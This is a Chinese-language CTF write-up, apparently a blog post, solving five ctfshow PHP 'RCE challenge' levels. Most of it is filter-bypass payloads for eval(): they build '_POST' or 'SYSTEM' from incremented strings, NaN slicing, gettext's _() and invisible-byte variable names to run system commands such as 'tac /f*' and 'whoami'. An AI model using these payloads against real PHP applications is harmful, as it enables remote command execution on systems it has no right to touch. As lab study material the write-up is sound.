- 不可见字符替代参数来减少字符数量
- gettext()扩展的使用,来得到字符串
- php代码执行特性
- 自增
RCE挑战1
- 闭合
error_reporting(0);highlight_file(__FILE__);$code = $_POST['code'];$code = str_replace("(","括号",$code);$code = str_replace(".","点",$code);eval($code);?>
payload:
code=?><?=`ls`;
官方payload:
code=echo `$_POST[1]`;&1=cat /f*
RCE挑战2
- 自增
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); }}?>
这里想到知道p佬的payload,但是由于这里为php7,assert已经变成一个跟eval类似的语言结构了,所以assert已经不能当做函数使用了。
但是由于这里没有限制字符串长度,且php的函数是对字母大小写不敏感的,所以可以使用字符串自增的方式构造SYSTEM和_POST字符串
$_=[].[];$_=$_['!'=='$']; // $_=$_[0];$__=$_; //A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$__; // S$_____=$__;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++; //Y$___.=$_____;$___.=$__;//T$__++;$___.=$__;$_++;$_++;$_++;$_++;//E$___.=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//M$___.=$_;//SYSTEM$____='_';$_=[].[];$_=$_['!'=='$']; // $_=$_[0];$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;$_=$$____;$___($_['1']); // SYSTEM($_POST[_]);
最终得到
$_=[].[];$_=$_['!'=='$'];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$__;$_____=$__;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$___.=$_____;$___.=$__;$__++;$___.=$__;$_++;$_++;$_++;$_++;$___.=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___.=$_;$____='_';$_=[].[];$_=$_['!'=='$'];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
在传参时要将+进行url编码,否则在传参时+会被解码为空格
payload:
ctf_show=$_=[].[];$_=$_['!'=='$'];$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$___=$__;$_____=$__;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$_____%2B%2B;$___.=$_____;$___.=$__;$__%2B%2B;$___.=$__;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$___.=$_;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$_%2B%2B;$___.=$_;$____='_';$_=[].[];$_=$_['!'=='$'];$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$_=$$____;$___($_[_]);&_=tac /*
官方wp里是构造$_POST($_POST)
$_=[].'';//Array$_=$_[''=='$'];//A$____='_';//_$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P$____.=$__;//_P$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O$____.=$__;//_PO$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S$____.=$__;//_POS$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T$____.=$__;//_POST$_=$____;//_POST$$_[__]($$_[_]);//$_POST[__]($_POST[_]);
RCE挑战3
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 105) { if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); }}?>
思路是自增凑POST,因为POST这四个字母ascii码相差的比较小
然后使用_/_._
来构造NaN,即非数字,如果引号’或者字母没有被禁用,可以使用''/''.''
或者'!'/'!'.''
、C/C.C
等方式来构造出NaN
这个.
是连接符,用来将float(NaN)转换成字符串
$_1=_/_;var_dump($_1);//float(NAN)
因为下划线_
在php里不是关键字,所以在直接这样使用时会报warn,但是php会将其自动转为字符。字母也是一样的
eg:
$a=C;var_dump($a);//string(1) "C"$_1=_;var_dump($_1);//string(1) "_"
exp
$_1=_/_._;//NaN$_=$_1[0]; //N$__=++$_;//O$__=++$_.$__;$_++;$_++;$__.=++$_.++$_;//S$__=_.$__;$_=$$__;$_[0]($_[1]);
$_1=_/_._;$_=$_1[0];$__=++$_;$__=++$_.$__;$_++;$_++;$__.=++$_.++$_;$__=_.$__;$_=$$__;$_[0]($_[1]); //99个字符
最终payload:
要将+号url编码
ctf_show=$_1=_/_._;$_=$_1[0];$__=%2b%2b$_;$__=%2b%2b$_.$__;$_%2b%2b;$_%2b%2b;$__.=%2b%2b$_.%2b%2b$_;$__=_.$__;$_=$$__;$_[0]($_[1]);&0=system&1=tac /f*
官方wp:
可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了
$a=(0/0);//NAN$a.=_;//NAN_$a=$a[0];//N$a++;//O$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O$p=$a++;//$a=>Q,$p=>P$a++;$a++;//R$s=$a++;//S$t=$a;//T$_=_;//_$_.=$p.$o.$s.$t;//_POST$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
然后用不可见字符来替代变量名,这个太骚了。
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa
RCE挑战4
用不可见字符替代变量名来缩短字符数量
还是构造$_POST($_POST)
然后这里是去掉了$_=$$__;
的过程,直接使用$$_[0]($$_[1])
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 84) { if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); }}?>
exp
error_reporting(0);$a=(_/_._)[0];echo $_1,PHP_EOL;//N$_=++$a; //O$_=++$a.$_; echo $_,PHP_EOL;//PO$a++;//Q$a++;//R$_.=++$a.++$_1;echo $_,PHP_EOL;//POST$_=_.$_;$$_[0]($$_[_]);
然后把a替换为不可见字符,将+号url编码
payload:
ctf_show=$%ff=(_/_._)[0];$_=%2b%2b$%ff;$_=%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$_=_.$_;$$_[0]($$_[_]);&0=system&_=tac /f*
官方wp:
exp
$a=(_/_._)[0];//直接拼接成字符串并切片$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O$o=++$a.$o;//$o=>PO,$a=>P$a++;//Q$a++;//R$o.=++$a;//$o=>POS,$a=>S$o.=++$a;//$o=>POST,$a=>T$_=_.$o;//_POST$$_[0]($$_[_]);//$_POST[0]($_POST[_]);
payload:
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa
RCE挑战5
源码
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 73) { if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); }}?>
官方wp:
这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数
_()
,相当于gettext()
,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。
所以按照这个思路来可以得到exp
$a=_(a/a)[a];//N$_=++$a; //O$_=_.++$a.$_;//PO$a++;//Q$a++;//R$_.=++$a.++$a;//POST$$_[a]($$_[_]);
然后将a替换为不可见字字符
payload:
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /f*
这里是73字符
不用gettext
73长
exp
$a=(a/a.a)[a];//N++$a;//O$_=$a.$a++;//PO$a++;$a++;//R$_.=_.$_++$a.++$a;//_POST$$_[a]($$_[_]);//$_POST[a]($_POST[_]
还有其他师傅更短的做法,学习一下
72长
$a=_(a/a)[a];//N$a++; //O$_=$a.$a++; //PO$a++;$a++;$_=_.$_.++$a.++$a;$$_[a]($$_[_]);
官方wp:
$_=$a.$a++;//PO
这一步是点睛之笔至于为什么这一步得到的是PO而不是OP,或者OO,而
$_=_.$a.$a++;
得到的是_OO
,经过和用这种做法的师傅们讨论,目前分析下来最有可能的原因是,PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++
操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO
这里相当于先执行了$a++
操作(函数),并得到$a++
的返回值,然后和左侧的$a
变量进行拼接,此时$a
已经是P了。而$_=_.$a.$a++;
时先执行了_
和$a
的拼接,而后再执行$_='_O'.$a++
,所以得到的是_OO
。*以上所有均为猜测,具体机制需研究PHP源码。
然后是Article_kelp师傅的几个极限payload
71长:
exp
$_=(a/a.a)[_];$b=++$_;$b=_.++$_.$b[$_++/$_++].++$_.++$_;$$b[d]($$b[c]);
payload:
%91=system&%92=cat /f*&ctf_show=$_=(%99/%99.%99)[_];$%81=%2b%2b$_;$%81=_.%2b%2b$_.$%81[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_;$$%81[%91]($$%81[%92]);
70长:
exp
$_=_(c/c)[_];$a=++$_;$a=_.++$_.$a[$_++/$_++].++$_.++$_;$$a[d]($$a[b]);
payload
%91=system&%92=whoami&ctf_show=$_=_(%99/%99)[_];$%81=%2b%2b$_;$%81=_.%2b%2b$_.$%81[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_;$$%81[%91]($$%81[%92]);
68长!
exp
$_=_(a/a)[_];$c=++$_;$$c[$c=_.++$_.$c[$_++/$_++].++$_.++$_]($$c[d]);
payload
_POST=system&%92=whoami&ctf_show=$_=_(%99/%99)[_];$%81=%2b%2b$_;$$%81[$%81=_.%2b%2b$_.$%81[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%81[%92]);
他这里是利用了php运算符优先级,从左往右,自增的优先级要高于[ ]
所以执行顺序是
-
_.++$_
的到’_P’ ,此时$_
为’P’ -
$c[$_++/$_++]
得到字符’O’ ,此后$_
为’R’ -
++$_.++$_
得到’ST’
最终连接为’_POST’
运算符优先级,从上往下递减
结合方向 | 运算符 | 附加信息 |
---|---|---|
不适用 | clone new | clone 和 new |
右 | ** | 算术运算符 |
不适用 | + - ++ -- ~ (int) (float) (string) (array) (object) (bool) @ | 算术 (一元 + 和 - ), 递增/递减, 按位, 类型转换 和 错误控制 |
左 | instanceof | 类型 |
不适用 | ! | 逻辑运算符 |
左 | * / % | 算术运算符 |
左 | + - . | 算数 (二元 + 和 - ), array 和 string (. PHP 8.0.0 前可用) |
左 | << >> | 位运算符 |
左 | . | string (PHP 8.0.0 起可用) |
无 | < <= > >= | 比较运算符 |
无 | == != === !== <> <=> | 比较运算符 |
左 | & | 位运算符 和 引用 |
左 | ^ | 位运算符 |
左 | ` | ` |
左 | && | 逻辑运算符 |
左 | ` | |
右 | ?? | null 合并运算符 |
无关联 | ? : | 三元运算符 (PHP 8.0.0 之前左联) |
右 | = += -= *= **= /= .= %= &= ` | = ^=` `<<=` `>>=` `??=` |
不适用 | yield from | yield from |
不适用 | yield | yield |
不适用 | print | |
左 | and | 逻辑运算符 |
左 | xor | 逻辑运算符 |
左 | or | 逻辑运算符 |
来源地址:https://blog.csdn.net/weixin_52585514/article/details/127956218